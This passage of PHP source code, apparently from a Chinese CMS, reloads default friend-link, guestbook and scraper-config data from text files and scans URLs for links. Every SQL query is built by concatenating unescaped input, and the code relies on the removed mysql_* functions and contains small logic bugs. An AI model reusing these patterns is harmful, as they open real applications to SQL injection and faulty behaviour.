'title'); $httpurl = newGetStrCut($s, 'httpurl'); $smallimage = newGetStrCut($s, 'smallimage'); $flags = newGetStrCut($s, 'flags'); $target = newGetStrCut($s, 'target'); $sortrank = newGetStrCut($s, 'sortrank'); if ($sortrank == '0' || lCase($sortrank) == 'false') { $sortrank = 0; } else { $sortrank = 1; } $isthrough = newGetStrCut($s, 'isthrough'); if ($isthrough == '0' || lCase($isthrough) == 'false') { $isthrough = 0; } else { $isthrough = 1; } //call echo("title",title) connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'FriendLink (title,httpurl,smallimage,flags,sortrank,isthrough,target) values(\'' . $title . '\',\'' . $httpurl . '\',\'' . $smallimage . '\',\'' . $flags . '\',' . $sortrank . ',' . $isthrough . ',\'' . $target . '\')'); } } } } //留言 connexecute('delete from ' . $GLOBALS['db_PREFIX'] . 'GuestBook'); $content = getDirTxtList($webdataDir . '/GuestBook/'); $content = contentNameSort($content, ''); $splStr = aspSplit($content, vbCrlf()); HR(); foreach ($splStr as $key => $filePath) { $fileName = getFileName($filePath); if ($filePath != '' && inStr('_#', left($fileName, 1)) == false) { aspEcho('留言', $filePath); $content = GetFText($filePath); //这样做是为了从GitHub下载时它把vbcrlf转成 chr(10) 20160409 if (inStr($content, vbCrlf()) == false) { $content = replace($content, chr(10), vbCrlf()); } $splxx = aspSplit($content, vbCrlf() . '-------------------------------'); foreach ($splxx as $key => $s) { if (inStr($s, '【adddatetime】') > 0) { $s = $s . vbCrlf(); $adddatetime = newGetStrCut($s, 'adddatetime'); $bodycontent = newGetStrCut($s, 'bodycontent'); $reply = newGetStrCut($s, 'reply'); $isthrough = newGetStrCut($s, 'isthrough'); if ($isthrough == '0' || lCase($isthrough) == 'false') { $isthrough = 0; } else { $isthrough = 1; } connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'GuestBook (adddatetime,bodycontent,reply,isthrough) values(\'' . $adddatetime . '\',\'' . $bodycontent . '\',\'' . $reply . '\',' . $isthrough . ')'); } } } } //采集网站 connexecute('delete from ' . $GLOBALS['db_PREFIX'] . 'CaiWeb'); $content = getDirTxtList($webdataDir . '/CaiWeb/'); $content = contentNameSort($content, ''); $splStr = aspSplit($content, vbCrlf()); HR(); foreach ($splStr as $key => $filePath) { $fileName = getFileName($filePath); if ($filePath != '' && inStr('_#', left($fileName, 1)) == false) { aspEcho('采集网站', $filePath); $content = GetFText($filePath); //这样做是为了从GitHub下载时它把vbcrlf转成 chr(10) 20160409 if (inStr($content, vbCrlf()) == false) { $content = replace($content, chr(10), vbCrlf()); } $splxx = aspSplit($content, vbCrlf() . '-------------------------------'); foreach ($splxx as $key => $s) { if (inStr($s, '【bigclassname】') > 0) { $s = $s . vbCrlf(); $bigClassName = newGetStrCut($s, 'bigclassname'); $httpurl = newGetStrCut($s, 'httpurl'); $morepageurl = newGetStrCut($s, 'morepageurl'); $charset = newGetStrCut($s, 'charset'); $adddatetime = newGetStrCut($s, 'adddatetime'); $bodycontent = newGetStrCut($s, 'bodycontent'); $sortrank = newGetStrCut($s, 'sortrank'); if ($sortrank == '') { $sortrank = 0; } $thispage = newGetStrCut($s, 'thispage'); if ($thispage == '') { $thispage = 0; } $countpage = newGetStrCut($s, 'countpage'); if ($countpage == '') { $thispage = 0; } $columnname = newGetStrCut($s, 'columnname'); connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'CaiWeb (adddatetime,bodycontent,httpurl,morepageurl,charset,sortrank,thispage,countpage,bigclassname,columnname) values(\'' . $adddatetime . '\',\'' . $bodycontent . '\',\'' . $httpurl . '\',\'' . $morepageurl . '\',\'' . $charset . '\',' . $sortrank . ',' . $thispage . ',' . $countpage . ',\'' . $bigClassName . '\',\'' . $columnname . '\')'); } } } } //采集配置 connexecute('delete from ' . $GLOBALS['db_PREFIX'] . 'CaiConfig'); $content = getDirTxtList($webdataDir . '/CaiConfig/'); $content = contentNameSort($content, ''); $splStr = aspSplit($content, vbCrlf()); HR(); foreach ($splStr as $key => $filePath) { $fileName = getFileName($filePath); if ($filePath != '' && inStr('_#', left($fileName, 1)) == false) { aspEcho('采集配置', $filePath); $content = GetFText($filePath); //这样做是为了从GitHub下载时它把vbcrlf转成 chr(10) 20160409 if (inStr($content, vbCrlf()) == false) { $content = replace($content, chr(10), vbCrlf()); } $splxx = aspSplit($content, vbCrlf() . '-------------------------------'); foreach ($splxx as $key => $s) { if (inStr($s, '【bigclassname】') > 0) { $s = $s . vbCrlf(); $bigClassName = newGetStrCut($s, 'bigclassname'); $sType = newGetStrCut($s, 'stype'); $startStr = newGetStrCut($s, 'startstr'); $endStr = newGetStrCut($s, 'endstr'); $startaddstr = newGetStrCut($s, 'startaddstr'); $endaddstr = newGetStrCut($s, 'endaddstr'); $adddatetime = newGetStrCut($s, 'adddatetime'); $sortrank = newGetStrCut($s, 'sortrank'); if ($sortrank == '') { $sortrank = 0; } $saction = newGetStrCut($s, 'saction'); $isthrough = newGetStrCut($s, 'isthrough'); $isthrough = IIF($isthrough == '0' || lCase($isthrough) == 'false', 0, 1); $fieldName = newGetStrCut($s, 'fieldname'); $fieldcheck = newGetStrCut($s, 'fieldcheck'); if ($fieldcheck == '') { $fieldcheck = 0; } connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'CaiConfig (adddatetime,sortrank,bigclassname,stype,startstr,endstr,startaddstr,endaddstr,saction,isthrough,fieldname,fieldcheck) values(\'' . $adddatetime . '\',' . $sortrank . ',\'' . $bigClassName . '\',\'' . $sType . '\',\'' . $startStr . '\',\'' . $endStr . '\',\'' . $startaddstr . '\',\'' . $endaddstr . '\',\'' . $saction . '\',' . $isthrough . ',\'' . $fieldName . '\',' . $fieldcheck . ')'); } } } } writeSystemLog('', '恢复默认数据' . $GLOBALS['db_PREFIX']); //系统日志 }
function scanUrl($httpUrl, $toTitle, $codeset) { $splStr = ''; $i = ''; $s = ''; $content = ''; $PubAHrefList = ''; $PubATitleList = ''; $splUrl = ''; $spltitle = ''; $title = ''; $url = ''; $htmlDir = ''; $htmlFilePath = ''; $nOK = ''; $dataArray = ''; $webState = ''; $u = ''; $iniDir = ''; $iniFilePath = ''; $websize = ''; $nSetTime = ''; $startTime = ''; $openSpeed = ''; $isLocal = ''; $isThrough = ''; $htmlDir = '/../网站UrlScan/' . setFileName(getWebSite($httpUrl)); CreateDirFolder($htmlDir); $htmlFilePath = $htmlDir . '/' . setFileName($httpUrl) . '.html'; $iniDir = $htmlDir . '/conifg'; CreateFolder($iniDir); $iniFilePath = $iniDir . '/' . setFileName($httpUrl) . '.txt'; //httpurl="http://maiside.net/" $webState = 0; $nSetTime = 1; $openSpeed = 0; if (CheckFile($htmlFilePath) == false) { $startTime = now(); aspEcho('codeset', $codeset); $dataArray = handleXmlGet($httpUrl, $codeset); $content = $dataArray[0]; $content = toGB2312Char($content); //给PHP用,转成gb2312字符 $webState = $dataArray[1]; $openSpeed = dateDiff('s', $startTime, now()); //content=gethttpurl(httpurl,codeset) //call createfile(htmlFilePath,content) WriteToFile($htmlFilePath, $content, $codeset); createFile($iniFilePath, $webState . vbCrlf() . $openSpeed); $nSetTime = 3; $isLocal = 0; } else { //content=getftext(htmlFilePath) $content = reaFile($htmlFilePath, $codeset); $content = toGB2312Char($content); //给PHP用,转成gb2312字符 $splStr = aspSplit(getFText($iniFilePath), vbCrlf()); $webState = CInt($splStr[0]); $openSpeed = CInt($splStr[0]); $isLocal = 1; } $websize = getFSize($htmlFilePath); if ($websize == '') { $websize = 0; } aspEcho('isLocal', $isLocal); $rsObj = $GLOBALS['conn']->query('select * from ' . $GLOBALS['db_PREFIX'] . 'weburlscan where httpurl=\'' . $httpUrl . '\''); if (@mysql_num_rows($rsObj) == 0) { $rs = mysql_fetch_array($rsObj); connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'weburlscan(httpurl,title,charset) values(\'' . $httpUrl . '\',\'' . $toTitle . '\',\'' . $codeset . '\')'); } connexecute('update ' . $GLOBALS['db_PREFIX'] . 'weburlscan set webstate=' . $webState . ',websize=' . $websize . ',openspeed=' . $openSpeed . ',charset=\'' . $codeset . '\' where httpurl=\'' . $httpUrl . '\''); //strLen(content) 不用这个,不精准 $s = getContentAHref('', $content, $PubAHrefList, $PubATitleList); $s = handleScanUrlList($httpUrl, $s); //call echo("httpurl",httpurl) //call echo("s",s) //call echo("PubATitleList",PubATitleList) $nOK = 0; $splUrl = aspSplit($PubAHrefList, vbCrlf()); $spltitle = aspSplit($PubATitleList, vbCrlf()); for ($i = 1; $i <= uBound($splUrl); $i++) { $title = $spltitle[$i]; $url = $splUrl[$i]; //去掉#号后台的字符20160506 if (inStr($url, '#') > 0) { $url = mid($url, 1, inStr($url, '#') - 1); } if ($url == '') { if ($title != '') { aspEcho('网址为空', $title); } } else { $url = handleScanUrlList($httpUrl, $url); $url = handleWithWebSiteList($httpUrl, $url); if ($url != '') { $rsObj = $GLOBALS['conn']->query('select * from ' . $GLOBALS['db_PREFIX'] . 'weburlscan where httpurl=\'' . $url . '\''); if (@mysql_num_rows($rsObj) == 0) { $rs = mysql_fetch_array($rsObj); $u = lCase($url); if (inStr($u, 'tools/downfile.asp') > 0 || inStr($u, '/url.asp?') > 0 || inStr($u, '/aspweb.asp?') > 0 || inStr($u, '/phpweb.php?') > 0 || $u == 'http://www.maiside.net/qq/' || inStr($u, 'mailto:') > 0 || inStr($u, 'tel:') > 0 || inStr($u, '.html?replytocom') > 0) { //.html?replytocom 王通网站 $isThrough = 0; } else { $isThrough = 1; //不用true 因为写入数据会有问题 } connexecute('insert into ' . $GLOBALS['db_PREFIX'] . 'weburlscan(tohttpurl,totitle,httpurl,title,isthrough,charset) values(\'' . $httpUrl . '\',\'' . $toTitle . '\',\'' . $url . '\',\'' . left($title, 255) . '\',' . $isThrough . ',\'' . $codeset . '\')'); $nOK = $nOK + 1; aspEcho($i, $url); } else { aspEcho($title, $url); } } } } $scanUrl = $nSetTime; return @$scanUrl; }